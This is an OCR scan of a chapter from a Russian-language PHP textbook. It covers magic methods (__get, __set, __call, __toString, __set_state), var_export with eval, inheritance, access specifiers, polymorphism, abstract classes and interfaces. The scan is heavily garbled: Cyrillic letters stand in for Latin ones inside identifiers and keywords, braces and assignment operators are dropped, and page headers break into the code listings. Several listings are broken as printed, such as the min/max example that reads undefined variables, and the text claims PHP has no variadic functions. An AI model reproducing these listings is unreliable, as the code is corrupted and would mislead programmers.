Глава 1. Объектно-ориентироваННblе возможности РНР 31 принимает единственный параметр, который служит ключом. Метод _set ( ) позволяет присвоить свойству новое значение и принимает два параметра, пер­ вый из которых является ключом, а второй - значением свойства. В примере из листи нга 1.19 при помощи метода _set () объекту присваива­ ются новые свойства, которые помещаются в массив $this->arr, а перегру­ женный метод _get ( ) позволяет извлечь их из массива. ЗАМЕЧАНИЕ Следует обратить внимание, что методЬ! _set () И _get () можно объяв­ лять как заКРblТbl М И , так и ОТКРblТblМИ . Листинг 1.19. Использование методов _set О И _get () <?php class cls private $arr = array() ; private funct ion _get ($index ) return $this->arr [$index] ; private function _s et ($index, $value ) $this->arr [$index ] $value ; ?> Как видно из листинга 1.19, класс cls перехватывает все обращения к членам объекта и создает соответствующий элемент в закрытом массиве $arr. В листинге 1.20 демонстрируется, как обращение к члену $name приводит К созданию соответствующего элемента массива. Листинг 1.20 . Обращение к несуществующему эле менту $nате <?php requi re_once ("c lass . cls .php " );
32 ?> $obj = new cls(); $obj ->naтe = "Hello wo rld !<br>"; echo $obj ->naтe ; echo "<pre> "; print_r ($obj ) ; echo "</pre>" ; Часть 1. Общие вопросы Результатом работы скрипта из листинга 1.2 0 являются следующие стро ки : He llo world ! cls Ob ject [arr : private] => Array [пате] => He llo world ! Любая попытка присвоить члену значение приводит к созданию нового эле­ мента закрытого массива $arr. Интересно, что когда член в классе уже суще­ ствует, то аксессоры _set () И _get () перехваты вают обращение к нему, есл и он является закрытым (имеет спецификатор доступа private), и не пе­ рехватывают, если он является открытым (public) . ЗА МЕЧАНИЕ Перегрузка обоих методов _get () И set () не обязател ьна, допускается перегружать тол ько од ин и з них. 1.14. Проверка существован ия члена кл асса. Метод _issetO Убедиться в существовании члена из внешнего кода при помощи конструк­ ции isset () можно только в том случае, если он открыт. Тем не менее при использовании аксессора _ set () полезно знать, существует член ил и нет и по отношению к закрытым переменным класса. Для решения этой задачи предусмотрен специальный метод класса _i sset ( ) , который принимает в качестве единственного параметра имя свойства и возвращает true, если свойство с таким именем существует, и false - в противном случае .
Гл ава 1. Объектно-ориентированные возможности РНР зз в листинге 1.21 представлена реал изация метода _i sset () для класса cls из л истинга 1.19. ЗА МЕЧАНИЕ Метод _isset () доступен в РНР, начиная с версии 5.1 .0. Листинг 1.21 . Перегрузка метода _i sset () <?php class cls private function _i sset ($index ) return isset ($this->$index) ; ?> 1.1 5 . Уничтожение члена кл асса. Метод _unsetO Для уничтожения членов кл асса служит специал ьный метод _unset (). Вер­ немся к классу cls, рассмотренному в листи нге 1.19. Устанавливаем ые при помощи метода _s et ( ) значения свойств помещаются в закрытый массив $arr. Уничтожение отдел ьных элементов закрытого массива не допускается , однако перегрузка метода _unset () позволяет снабдить класс такой воз­ можностью (листинг 1.22). ЗА МЕЧАНИЕ Метод _unset () доступен в РНР , начиная с версии 5.1 .0. Листинг 1.22. Перегрузка метода _unset () < ?php class cls
34 Часть 1. Общие вопросы private $arr array () ; private function __get ($index ) return $this->arr [$index] ; privat e funct ion __set ($index , $value ) $this->arr [$index] $value ; private function __isset ($index) return isset ($this->arr [$index] ); private funct ion __un set ($index ) unset ($this->arr [$index] ); ?> Теперь, несмотря на то что массив $arr является закрытым членом, его эле­ менты можно уничтожать при помощи конструкции unset () (листинг 1.23). ЛИСТИНГ 1.23 . Использование КОНСТРУКЦИИ unset () <?php require_once ("class . cls . php") ; $obj = new cls(); $obj ->name = "Новое свойство класса "; echo "<pre>"; print_r ($obj ); echo "</pre> ";
Гл ава 1 . Объектно-ориентированные возможности РНР ?> un set ($obj ->naтe) ; echo "<pre> "; print_r ($obj ) ; echo "</pre> "; Результатом работы скрипта из листинга 1.23 будут следующие строки: cls Ob ject [arr : private] => Array [пате] => Новое свойство класса cls Ob ject [arr : private ] => Array 35 Как можно видеть, использование конструкции unset () приводит К уничто­ же нию динамического свойства. 1.16. Дин а мические методы. Метод _callO Специальный метод call () предназl:Iачен для создания динамических ме­ тодов : есл и в классе не перегружен метод _call ( ), обращение к несущест­ вующему методу не приведет к ошибке, а передаст управление методу _ call ( ). в качестве первого параметра метод _call () принимает имя вы­ зываемого метода, а в качестве второго - массив, элементами которого яв­ ляются параметры, переданные при вызове метода. В отличие от других С-подобных языков программирования в РНР отсутст­ вуют функции с переменным количеством параметров. Тем не менее при по­ мощи специального метода _call () можно эмулировать наличие таких ме­ тодов в кл ассе. В листинге 1.24 представлен класс minmax, который
Зб Часть 1. Общие вОПРОСbl предоставляет пользователю два метода : min () И mах ( ), принимающие про­ извольное кол ичество числовых параметров и определяющие минимальное и максимальное знач ения соответств енно. Листинг 1.24. Использование специального метода __call () <?php ?> class minmax private function __call ( $method, $arg) if (!is_a rray ($arg) ) return falsei $value = $arr[O] i if ($me thod "min" ) for ($i = О; $i < count ($arg) i $i++) if ($agr [$i] < $value ) $value = $ag r[$i] i if ($method "тах" ) for ($i = О; $i < count ($arg) i $i++) if ( $agr [$i] > $value ) $value = $ag r[$i] i return $value i в примере из листинга 1.24 в зависимости qT вызываемого метода -- min ( ) ил и mах () - используется два разных алгоритма для поиска резул ьтата. Кроме того, для кл асса minmax допустим вызов метода с произвольным име­ нем, и есл и оно отлично от min или mах, будет возвращаться первый аргу­ мент. Независимо от имени метода, если не передано ни одного аргумента, возвращается значение fal se. В листинге 1.25 приводится пример использования класса minmax дл я полу­ чения максимального и минимального значений посл едовател ьности.
Гл ава 1. Объектно-ориентированные возможности РНР 37 Листинг 1.25. Использование кла с с а minmax < ?php require_once ("c1ass .rninmax .php" ) ; $obj = new minmax () ; echo $obj->rnin(43, 18, 5, 61, 23, 10, 56, 36); // 5 echo "<br> "; echo $obj->maХ (43, 18, 5, 61, 23) ; // 61 ?> Взаимодействие специального метода _call () с уже существующими в кл ассе методами отдичается от аксессоров _get () И _set () : если метод (закрытый или открытый) существует, то _c all () не задеЙствуется . Для де­ монстрации последнего правила снабди м класс minmax двумя методами: от­ крытым методом min () и закрытым методом тах () (листинг 1.26). Л истинг 1.26 . Модифицированный вариант класса minmax <?php c1ass rninmaх pub1 ic func tion rnin ($va 1, $va1 1, $va13 ) echo "Выз ов открытого ме тода mi n() "; private function max ($va1 , $va11 , $va1 3) echo "Выз ов открыт ого ме тода та х() "; private function _са11 ($me thod , $arg) if (!is_array ($arg ) ) return fa1se; $va1ue = $arg[O] ; if ($me thod == "min ") for ($i = О; $i < count ($arg) ; $i++) if ($arg[$i] < $va1ue ) $va1ue = $arg[$i] ;
38 Часть 1. Общие вопросы if ($method == "тах" ) for ($i = О; $i < count ($arg) ; $i++) if ( $arg [$i) > $va1ue ) $va1ue = $arg[$i) ; return $va1ue ; ?> При выпол нении кода из листинга 1.26 при обращении к методу min () будет выведена фраза Вызов открытого метода minO, а обращение к методу mах () заканч ивается ошибкой обращения к закрытому методу : Fatal error: СаН to private method minmax: : maxO . 1.17. Интерполяция объекта . Метод _toStringO Специальный метод toString () позволяет интерполировать (подставлять) объект в строку. Для подстановки значений переменных необходимо заклю­ чить строку в двойные кавычки (л истинг 1.27). ЗА МЕЧА НИЕ Следует отметить, что значение переменной не интерполируется , если вместо двойных кавычек используются оди нарные. Листинг 1.27. Инте рполяция пвременной <?php ?> $str = "12345"; echo "str = $str<br> "; // str = 12345 echo 'str = $str<br> '; // str = $str
Гл ава 1. Объектно-ориентированные возможности РНР 39 Тако го же поведения можно добиться и от объекта, если реализовать в его кл ассе метод _toString (), который преобразует объект в строку. Модифицируем класс етрlоуее (листи нг 1.8) таким образом, чтобы его под­ становка в строку приводила к выводу фамилии сотрудника и его инициалов (листинг 1.28). ЗА МЕЧАНИЕ Следует обратить внимание, что метод _toString () ВblВОДИТ резул ьтат при помощи конструкци и return, а не echo. Листинг 1.28. Использование специального метода _toString () <?php ?> class етрlоуее publ ic function _construct ($surname , $пате , $patronymi c, $age 18} $thi s->surname = $surname i $th is->name = $пате ; $this->patronymic = $patronymi ci $this->age = $age i private function _t oString (} return " { $this->surname } { $this->name [О] }. { $this->pat ronymic [О] }."i private function _get ($index } return $this->$index i public $surname i public $пате i private $patronymici
40 Часть 1. Общие вопросы в листинге 1.29 приводится пример интерполяции объекта кл асса employee, при это м вместо объекта $obj будет подставл ена фраза Борисов Игорь Ива- нович. Листинг 1.29. Инте р поляция объекта <?php requi re_once ("class . employee . php " ); $obj = new employee ("Борисов ", "Игорь ", "Иванович" ) ; echo "Со трудник $obj недавно принят на работу" ; ?> Следует отметить, что вызов объекта в строковом контексте возможен, тол ь­ ко если его кл асс содержит реализацию метода _t oString (), в пр отивном случае попытка использовать объект в ст роке будет заканчиваться ошибкой Catchable fa tal error: Obj ect оС class employee could not Ье converted to string. 1.18. Экспорт объектов. Метод _set_stateO Среди многочисленных функций РНР существует функция var_export (), выводящая дампы переменных, массивов и объекто в. В отличие от print_r () или var_durnp ( ) она возвращает дамп в виде РНР-кода, что позволяет исполь­ зовать р езультат ее работы в функции eval (), выпол няющей PHP-КОд в стро­ ке . Функция va r_e xport () имеет следующий синтаксис : mixed var_export ($expre ssion [, $return] ) В качестве первого ар гумента функция принимает пер еменную, массив или объект. По умолчанию она выводит дамп объекта, не возвращая никакого результата. Однако если в качестве второго необязател ьного параметра функции $return пер едается значение true, вместо вывода дам па в окно браузера она возвращает его в виде строки . В листинге 1.30 приводится пример использования функции var_export () для вывода дампов переменной, массива и объекта. Действие функции в этом качестве аналогично функции print_r ().
Глава 1. Объектно-ориентирова нные возможности РНР ЛИСТИНГ 1.30. Использование ФУНКЦИИ var_export ( ) ДЛЯ вывода да мпов < ?php ?> / / Переменная $var = 100; / / Массив $arr = array(l, 2, 3, array(4, 5) , аrrау(б, 7)); // Класс clas s cls publ ic function __cons t ruct ($va r, $val ) ) $this->publ_var $this->priv_var public $publ_va r; private $priv_va r; // Объект $var; $val ; $obj = new cls (12, 147) ; echo "<pre> "; var_export ($va r) ; var_export ($arr) ; var_expo rt ($obj ); echo "<pre> "; 41 Результатом работы скрипта из листинга 1.30 будут следующие дам пы пере­ менной $var, массива $arr и объекта $obj : 100 array О=>1, 1=>2, 2=>3, 3 => array
42 о=>4, 1=>5, ), 4 => array О=>6, 1=>7, ), cls : : __set_s tate ( array ( )) 'publ_var ' => 12 , 'priv_var ' => 147, Часть 1. Общие вопросы в листинге 1.31 п риводится пример создания копии массива $ап п ри помо­ щи функции var_export ( ) . ЗА МЕЧАНИЕ К сожалению, и з-за ошибки реализации функции var_export () приходится самостоятел ьно заботиться об удалении последней запятой и з да мпов массивов и объектов. Вероятно, эта досадная ошибка будет устранена в более поздних версиях РНР. Листинг 1.3 1 . Создание копии массива $arr <?php ?> $arr array(1, 2, 3, array(4, 5) , array(6, 7)); $str var_export ($arr, true) ; 11 Из-за ошибки реали заци и приходится 11 удалять последнюю запятую самостоятельно $str = preg_replace (" 1 , [\s] *\) lis", ") ", $str) ; 11 Создаем ма ссив $сору eva l ('$copy = '.$str . ';'); echo "<pre> "; print_r ($Сору ) ; echo "</pre>" ;
Гл ав а 1. Объектно-ориентированные возможности РНР 43 Как в идно из листинга ].з 1, скрипт создает ко пию масс ива $arr и помещает ее в массив $сору. Массив воссоздается путем динамического выполнения РНР-кода при помощи функци и eval ( ). Результатом работы скрипта будут следующие СТРОI<И: Array [О]=>1 [1]=>2 [2]=>3 [3] => Array [О]=>4 [1]=>5 [4] => Array [О]=>6 [1]=>7 По от ношению к объекту функция va r_ex:port ( ) действует нескол ько иным образом : поскольку невозможно предугадать заранее код, который бы вос­ производил объект, функция возвращает код вызова специального метода _ s et_s tate ( ), разработкой кото рого должен озаботиться автор кл асса. В кач естве единственного параметра методу _set_state () передается ассо­ циати вный массив со всеми членам и объекта. В листинге 1.32 приводится пример использования метода _set_s tate (): получив значения объекта в мас си ве $arr_obj , метод _s et_state () выводит все значения в окно браузера. ЗАМЕЧАНИЕ Специальный метод set_s tate ( ) введе н в РНР, начиная с версии 5.1 .0 . Jlистинг 1.32. Использование специального метода _set_s tate () <?php // Класс c1ass cls
44 ?> publ ic function __cons truct ($va r, $val ) $this- >publ_var $this- >priv_var $var; $val ; public function __set_state ($arr_obj ) foreach ($arr_obj аэ $key => $value ) echo "$key => $value<br> "; public $publ_va r; private $priv_va r; // Объект $obj = new cls (12, 147) ; // Возвращаем вызов ме тода __set_s tate () $str = var_export ($obj , true) ; // Из -за ошибки реализаци и приходится // удалять последнюю запятую самостоятель но $str = preg_replace ("I,[\э] *\) l is ", ") ", $str) ; // Вызываем ме тод __set_s tate () eva l ($str . ';'); Часть 1. Общие вопросы Результатом работы скр ипта из листинга 1.32 будет список закрытых и от­ кр ытых членов кл асса: publ_var => 12 priv_va r => 147 Однако функция var_export () задумывалась для возвращения дампа массива или объекта, который совместно с функцией eval () позволяет воспроизвести объект. Поэто му р екомендуется использовать метод __set_state () именно для воссоздан ия объекта, а не для каких-то иных целей. В листи нге 1.33 при­ водится альтернативная реализация кл асса cls, в которой метод set_ state () собир ает и возвращает новый объект.
Гл ава 1. Объектно-ориентироваННblе возможности РНР Листинг 1.33 . Воссозда ние объекта при пом ощи метода _set_state {} <?php ?> // КЛасс c1ass c1s pub1ic function construct ($var, $va1) $this->pub1_var $this->priv_var $var; $va1 ; pub1ic function __set_state ($arr_obj ) return new c1s ($arr_obj ['pub1_var '], $arr_obj ['priv_var ']); pub1ic $pub 1_va r; private $priv_va r; // Объект $obj = new c1s (12, 147) ; // Возвращаем выз ов ме тода __set_state () $str = var_export ($obj , true) ; // Из -за ошибки реализации приходится // удалять последню ю запятую самостоятель но $str = preg_rep1ace ("I , [\s]*\) lis", ") ", $str) ; // Создаем объект $new_obj - копию // объекта $obj eva1 ( , $new_obj ' .$str . '; '); // Выводим дамп нового объекта $new�obj echo "<pre> "; print_r ($new_obj ); echo "</pre> "; 45
46 Ча сть 1. Общие вопросы Результатом раб оты скрипта из листинга 1.33 будет следующий дамп нового объекта: $new_obj : cls Obj ect [publ_va rJ = > 12 [priv_var : privateJ => 147 1.19. Н а следование Одной из гл авных целей объектно-ориентированного подхода является по­ вторное использование кода. Иногда сложно определ ить, требуется ли тако й подход в решении поставленной задачи ил и нет. Однако если создан ный класс используется лишь однажды в одном приложении, можно утверждать, что его создание - пустая трата времени. Объектно-ориентированное про­ граммирование знач ител ьно снижает читабельность и эффективность, поэто­ му окупает себя только пр и интенсивном испол ьзовании наследован ия. Хотя при разработке новых приложе ний функци и или участки кода могут заимствоваться из уже разработанных программ, говоря о повторном исполь­ зовании кода, редко имеют в виду тако й подход. Извлечение участка кода из старого проекта часто требует его серьезной переработки или подключения дополнител ьных файлов, кото рые дублируют уже существующие функцио­ нальные блоки. ЗА МЕЧА НИЕ в идеале класс, созда нный в одном приложении, должен свободно и звле­ каться из него и встраиваться в другое приложение без всякой адаптации. Код, предназначенный для повто рного использования, необходимо подгото­ вить для этого, оформив в виде библиотеки или класса. При это м повторное использование вовсе не гарантирует, что систе ма (особенно первая) будет занимать меньше места и разрабатываться быстрее. За любое ограничение, кото рое накладывается на код, приходится расплачиваться. В случае, рас­ смотренном в предыдущем разделе, платой служит более сложная орган иза­ ция кода и более длител ьные сроки его подгото вки.
Гл ав а 1. Объектно-ор иентированные возможности РНР 47 Объектно-ориентирован ная методология предоставляет два возможных спо­ соба повторного использования кода: L] включение объектов в класс; L] использование наследования . Насл едование позволяет создать новый кл асс на основе уже существующего, авто матически включив в новый класс все члены и методы старого. В рамках наследования "стар ый" класс называется базовым, а вновь создаваемый класс - nроuзводным . При объявлении производного кл асса необходимо ука;зать имя базового класса с помощью ключевого слова extends . В листин­ ге 1.34 создается базовый класс base, содержащий единственный чл ен $var И метод print_var () . От кл асса base наследуется класс derived, содержащий, в свою очер едь, чл ен $val и метод print_val (). Листинг 1 .34. Наследование класса derived от класса Ьа ее <?php ?> / / Базовый класс class base риЬНс $var; public function print_var () echo $this- >var ; // Производный класс class de rived extends base риЬНс $val ; public function print_val () echo $this- >val ; в листинге 1.35 приводится пример, в котором объявляется объект базового класса $bobj и объект производного класса $dobj . Для каждого из объектов выводится список его членов и методов.
48 Часть 1. Общие вопросы Листинr 1.35. Анализ объектов базовоrо и прои зводноrо классов <?php ?> // Подключаем базовый и производный кл ассы require_once (Hclass .base .php H ); // Объявляем объект базового класса $bobj = new base () ; // Члены и ме тоды базового кл асса echo H<pre> H; print_r ($bObj ) ; print_r (get_class_me thods ($bobj )); echo H</pre> H; // Объявляем объект производного класса $dobj = new derived () ; // Члены и ме тоды производного класса echo H<pre> H; print_r ($dObj ) ; print r(g et class_me thods ($dobj )); echo H</pre> H; Выполнив скрипт из листинга 1.35, можно получить следующие дам пы объ­ ектов $bobj и $dobj : base Obj ect [var] => Array [О] => print_var de r ived Ob ject [val ] => [var ] =>
Глава 1. Объектно-ориентированные возможности РНР Ar ray (I [О] => print_val [ 1] => print_var 49 Как видно из результатов работы скрипта, объект производного класса de r i ved содержит не только собственный член $val и метод print_val (), но и член $var И метод print_var (), объявленные в базовом кл ассе. Производ­ ный класс, в свою очередь, может выступать в качестве базового для других классов. В резул ьтате можно получить разветвленную иерархию классов, рас ширяя функциональность без повто рного создания членов и методо в, а используя уже имеющиеся из существующих классов. 1.20. С пецификатор ы доступа и наследование Член ы и методы, объявлен ные со спецификат орами доступа public и p rivate, при наследовании ведут себя по отношению к производному классу точно так же, как и по отношению к внешней програм ме. Это означает, что из производного класса доступны все методы и члены, объявленные со спе­ цификатором доступа publ ic, и не доступны компоненты, объявленные как priva te. В листинге 1.36 приводится пример попытки обратиться к закрыто­ му члену $var базового кл асса Ьазе из конструктора пр оизводного кл асса derived. Листинг 1.36. Попытка обращения к закрытому члену базового класса <?php class Ьазе private $var ; public function __cons t ruct ($var) $this->var = $var; public function print_var ()
50 ?> echo $th is->va r; class derived extends base public function __cons t ruct ($var) $this->va r = $var; $obj = new derived (20) ; echo "<pre>"; print_r ($obj ); echo "</pre> "; echo $obj ->print_var () ; Часть 1. Общие вопросы в данном случае попытка обращения к закрытому члену класса не приводит к qшибке. Дел о в том, что производный кл асс даже не видит попытки обра­ щения к закр ытому члену, он просто создает новый открытый член в объекте п р оизводного класса: de r ived Ob ject [var : private] => [var] => 20 Именно поэто му обращение к методу print_var () не приводит к выводу пе­ ременной $var - данная переменная остается не инициал изированной в рамках класса base. Иногда удобщ), чтобы член или метод базового кл асса, оставаясь закр ыты м для внешнего кода, был открыт для производного кл асса. В это м случае прибегают к специальному спецификатору доступ а protected. Компоненты класса, снабженные спецификатором доступа protected, называют защи­ щенными. В листинге 1.37 на примерах базового класса ba se И производного кл асса de rived демонстрируется использование защищенного чл ена $var.
Глава 1. Объектно-ориентироваННblе возможности РНР Листинг 1.37. Использование спецификатора доступа protected <?php ?> class base protected $var; pub lic function __cons t ruct ($var) $this- >va r = $var; class de r ived extends base pub lic function __const ruct ($var) $this->var = $var; $obj = new derived (20) ; echo "<pre> "; print_r ($obj ); echo "</pre> "; // echo $obj ->var; // Ошибка Результатом работы скрипта из листинга 1.37 будут следующие строки: derived Ob j ect [var : protected] => 20 51 Как видно из результатов работы скри пта, конструктор производного класса имеет возможность инициализировать член $var В обход ко нструктора базо­ вого кл асса, в то же время член $var остается закрыты м по отношению к внешнему коду. Испол ьзование спецификатора protected возможно по отношению как к членам класса, так и к методам . Например, если конструктор базового класса объявлен со спецификатором protected, то получить его объект невозможно; доступны будут тол ько объекты производных I\Лассов (листинг 1.38).
52 Листинг 1.38 . Запрет создания объектов базового класса <?php ?> class base private $var; protected function __cons t ruct ($var) $this ->var = $var; class derived extends base public function __construct ($var) parent : : __construct ( $var) ; // $obj = new base (20) ; // Ошибка $obj = new de rived (20) ; echo "<pre>"; print_r ($obj ) ; echo "</pre> "; Ча сть 1. Общие вопросы Этим приемом часто пользуются, когда объект базового класса абстрактен и скрывает в себе функциональность, необходимую для производн ых классов, а сам по себе не имеет смысла. 1.21 . Перегрузка методов в производном классе можно создать метод с таким же названием, что и в базовом кл ассе, который заменит метод базового кл асса при вызове. Такая процедура называется перегрузкой методов. В листинге 1.39 приводится пример перегрузки метода print_va r () В произ­ водном кл ассе de rived, который наследуется от базового класса base.
Гл ава 1. Объектно-ориентирова нные возможности РНР Л истинг 1.39. Перегруз ка метода print_var () <?php ?> class base public funct ion print_var () echo "Вызов ме тода print_var () базового класса<Ьr> "; class de rived extends base publ ic funct ion print_var () echo "Выз ов ме тода print_var () производного класса<Ьr> "; $obj = new derived(); $obj - >print_var () ; Результатом работы скрипта из листинга 1.39 будет сл едующая строка: Вызов ме тода print_var () производно го класса 53 Таким образом, метод base : : print_var () не вызывается при обращении к объекту производного класса de rived. Однако в рамках производного класса остается возможность вызвать метод базового класса, обратившись к нему при помощи префикса parent: :. В листинге 1.40 представл ена перегрузка метода print_var ( ), при которой метод производного кл асса сначала вызывает метод базового кл асса. Л и стин г 1.40. Обращение к методу базового класса <?php class base public funct ion print_var () echo "Выз ов ме тода print_var () базового класса<Ьr> ";
54 Часть 1. Общие вопросы class de r ived extends base pиblic function print_var () parent ::print_var () ; echo "Вызов ме тода print_var () ПРОИЗВ ОДНОГО юrасса<Ьr> "; ?> $obj = new derived(); $obj ->print_var () ; Результатом работы скрипта из листинга 1.40 будут уже две стро ки : Выз ов ме тода print_var () базового юrасса Вызов ме тода print_v ar () ПРОИЗВ ОДНОГО юrасса Таким образом, при помощи перегрузки метода можно как расширить метод базового класса, так и полностью заменить его уже новым методом. 1.22. Полиморфизм При использовании раз ветвленных наследственных иерархий все объекты производных кл ассов автоматически снабжаются методами базового кл асса. Производные кл ассы могут использовать методы базового кл асса без изме­ нений, адаптировать их или заменять своей собственной реал изацией. Как бы ни были реализованы эти методы , можно достоверно утверждать, что все объекты наследственной иерархии кл ассов будут обладать некоторым кол и­ чеством методов с одними и теми же названиями. Это явление называется полиморфизмом. При использовании полиморфизма появляется возможность программиро­ вать работу объектов, абстрагируясь от их типа. Так, в транспортной сети , независимо от того, является ли текущий объект автомобильным, железнодо­ рожным, воздушным или водным транспортным средством, он характеризу­ ется способностью к движению, и для всех объектов "транспортное средст­ во" можно ввести единый метод движения move ( ). Каждый объект из транспортной иерархии будет обладать этим методом. Несмотря на то, что
Гпава 1. Объектно-ориентированные возможности РНР 55 дв иже ние по асфальтовой или железной дороге, по воздуху или по реке отл и­ чается, методы будут называться одинаково, и их можно будет вызывать дл я каждого из объекто в, чей класс является наследником класса "транспортное средство" (рис. 1.3). Лодка Катер Баржа Теплоход Р ис. 1 .3 . Схема иерархии объекто в "тра нспортн ые средства" Скорее всего, метод move () придется переопределить для классов "авто мо­ биль", "воздушный транспорт" , "водный транспорт" и "железнодорожн ый транспорт" , так как свобода движения у этих классов тр анспортных средств разл ична и даже зависит от сезона. При дальнейшем развитии иерархии для наследников класса "водный транспорт" переопределять методы, вероятно, уже не придется, поскол ьку реализация метода move () базового класса "вод­ ный транспорт" подойдет для каждого из них. Однако такие объемные системы, как транспортные сети, редко модел и руют на РНР; чаще задачи сводятся к разработке Web-инструментария . В качестве примера рассмотрим постраничную навигацию. Объемный список неудобно отображать на странице целиком, так как это требует знач ител ьных ресурсов . Гораздо нагляднее выводить список, например, по 1 О элементов, предостав­ ляя ссылки на оставшиеся страницы. В большинстве случаев такая задача решается без привлечения объектно-ориентированного подхода и тем более без наследуемой иерархии и полиморфизма. Однако в Web-приложении ис­ точником списка элементов, к которому следует применить постран ичную навигацию, могут выступать база данных, файл со строкам и, директория с
56 Ча сть 1. Общие вопросы файлами изобр ажений и т. п. Каждый раз создавать отдельную функцию для реализации постраничной навигации не всегда удобно, так как придется дуб­ лир овать значительную часть кода в нескольких функциях. В данном случае удобнее реализовать постраничную навигацию в методе базового кл асса pager, а методы, работаю щие с конкретными источниками, переопредел ить в производных кл ассах: О pager_my sql - постран ичная навигация дЛЯ СУБД MySQL; О pager_ file - постраничная навигация для текстового файл а; О pager_dir - постраничная навигация для файлов в директории. Иерархия классов постраничной навигации представл ена на рис. 1.4 . Рис. 1 .4 . Иерархия классов постра ничной навигации Кл асс pager () "не знает" , каким образом производные кл ассы будут узнавать общее количество элементо в в списке, скол ько эл ементов будет отображать­ ся на одной странице, сколько ссылок находится слева и справа от текущей страницы. Поэтому помимо метода _T oString () кл асс будет содержать че­ ты ре защищенных (protected) метода, которые возвращают: О get_total () - общее количество элементов в списке; О get_pnumber () - кол ичество эл ементов на странице; О get_page_ link () - кол ичество элементов слева и справа от текущей страницы; О get parameters () - строку, которую необходимо передать по ссыл кам на другую страницу (например , п р и постраничном выводе резул ьтатов поиска по ссылкам придется пер едавать результаты поиска) . Эти методы не имеют реализаци и в кл ассе pager (пустые) и перегружаются производными кл ассами, которые формируют параметр ы в зависимости от источника.
Гл ава 1. Объектно-ориентирова ННblе возможности РНР 57 ЗАМЕ ЧА НИЕ О писание реализации кл ассов pager, pager mys ql , pager_file И page r_di r можно найти в главе 7, посвященной созданию вспомогател ьно­ го набора кл ассов. 1.23 . Абстрактные классы Возвращаясь к иер архии кл ассов постраничной навигации, рассмотренной в разделе 1.22, можно утверждать, что объект кл асса pager не имеет смысла и не может быть использован по назначению - работают тол ько его наслед­ ники. Для того чтобы предотвратить возможность создания объекта такого класса, РНР предоставляет специальный инструмент - класс можно объ­ явить абстр актным . Для этого объявление класса предваряют ключевым сло­ во м abs tract (л истинг 1.41). Листинг 1.41 . Объявление абстрактного кла сса <?php abs tract class pager ?> Тепер ь попытка создать экземпляр класса pager (л истинг 1.42) будет закан­ ч иваться сообщением об ошибке Fatal error: Cannot instantiate abstract class pager (Невозможно объявить объект абстр актного класса) . Листинг 1.42. Попытка объявления объекта абстрактного класса <?php require_o nce ("class .pager . php") ; // $obj = new pager () ; // Ошибка ?> Абстрактн ыми следует объявлять кл ассы, кото рые не существуют в реально­ сти и объекты которых заведо мо не потр ебуются. Напр имер , возвращаясь к тр анспортной сети, объекты "транспортное средство", "автомобиль", "воз-
58 Часть 1. Общие вОПРОСbl душный транспорт", "водный транспорт", "железнодорожный транспорт" не понадобятся, и их можно сделать абстрактными. В то же время конкретные кл ассы ("лодка", "баржа", "теплоход", "катер") могут быть полезными при оценке груз0- и пассажиропотока, расчета налогообложения и т. п . (рис. 1 .5). г- ---0----""''' ''' -----01 ��нспо р тоо � ГA BTO �� �- �� � --- -] / Железн;дорожный I '- -- _.. ... т.:. .. р.. ... а� . сп ор :�.. ... _о.. ... J г ВОЗДУШНЫЙ J L транспорт.. ... _ Лод ка i Водный I �анспорт _ --.J Катер Баржа Теплоход Рис. 1 .5 . Схема транспортной сети 1.24. Абстрактные методы Если во время работы над сайтом появляется новый источник данных, к ко­ то рому нужно будет применить постраничную навигацию (см . раздел 1.22), достаточно унаследовать от базового кл асса pager новый производн ый класс . Однако продемонстрированный подход обладает некоторым изъяном: про­ граммист может забыть реализовать оди н из методов, который используется базовым кл ассом. Напомним, что в базовом кл ассе pager находятся только заглушки методов get.. ... total (), get.. ... pnumber (), get.. ... page.. ... link () и get.. ... parameters (). ЗАМЕЧАНИЕ Заглушками в программировании называют методы, которые не выполняют никакой работы.
Глава 1. Объектно-ориентироваННblе возможности РНР 59 Для решения этой задачи в объектно-ориентированной модели РНР преду­ смотрены абстрактные методы, объявление которых предваряется ключевым словом abstract. Для абстрактных методов задают их описание и список па­ раметров без реал изации . Каждый класс, который наследуется от базового класса, содержащего абстрактные методы, обязан их реализо вать. Есл и хотя бы один метод не реализован - работа РНР-скри пта будет остановлена, а интер­ претатор сообщит о необходимости реализации абстрактного метода в произ­ водном классе. При помощи абстрактных методов исключается возможность неум ышленного нарушения полиморфизма для производных кл ассов. В листи нге 1.43 методы get_ total (), get_pnurnber (), get_page_l ink ( ) и get_p arameters () класса pager объявляются абстрактными. Листинг 1.43. Объявление абстрактных методов <?php ?> ab stract class pager abstract function get_total () ; abstract function get-pnumber () ; abs tract function get-page_l ink () ; abstract function get_parameters () ; Нал ичие в классе абстрактного метода требует, чтобы кл асс также был объ­ явлен абстрактным. 1.25. Созда ние интерфей са Наследование и полиморфизм являются центральными идеями объектно­ ориентированного программир ования, позволяя наиболее эффективно орга­ низовать код для иерархических систем. Обычно в реальной практике ис­ пользуются лишь конечные производные классы; базовые кл ассы иерархии необходимы лишь для сокрытия реализации и формирования общего интер­ фейса производных кл ассов.
60 Часть 1. Общие вОПРОСbl в результате базовые классы зачастую становятся абстрактным и, вер нее, кл ассами, которые определяют поведен ие п роизводных кл ассов. П ри этом нельзя объявить объекты базовых кл ассов, поскол ьку они не могут функцио­ нировать. Абстрактные кл ассы зачастую содержат абстрактные методы , не несущие функциональности, реализовать кото рую должны их потомки. Для того чтобы не использовать классы, которые ничего кроме абстрактных MeTO�OB не содержат, в РНР введена специальная конструкция - интерфейс, пол ностью состоящий из абстрактных методо в. Это позволяет внести ясность в п роцесс р азр аботки : кл ассы задают поведение объекто в, а интерфейсы ­ поведение группы кл ассов. Кл асс, р еализующий интерфейс, должен перегру­ зить методы интерфейса. Два класса, реал изующих одинаковые интерфейсы, имеют одинаковый набор определяемых ими методов. Таким образ ом, назна­ чение интерфейса - это реализация полиморфизма дл я двух кл ассов, не имеющих общего базового кл асса. Для создан ия интерфейса используется кл ючевое сл ово interface. В листи н­ ге 1.44 демонстр ируется п ример интерфейса pager для реализации набор а кл ассов постраничной навигации, рассматривавшихся в разделе 1.22 . Напом­ ним, что классы, реализующие постраничную навигацию, должны содержать следующие методы: C:J get_total () - возвращает количество элементов в списке, подвергаю­ щемся разбиению на несколько страниц; C:J get_pnurnber () - возвращает количество эл ементов на одной странице; C:J get_page_l ink () - возвращает количество ссылок слева и справа от те­ кущей страницы; C:J get_parameters () - возвращает дополнительные GЕТ-параметр ы, пере­ даваемые по ссылкам . ЗА МЕЧА НИЕ Интерфейс может содержать тол ько открытые методы; при попытке доба­ вить в инте рфейс з акрытый или защищенный метод возникает сообщение об ошибке. 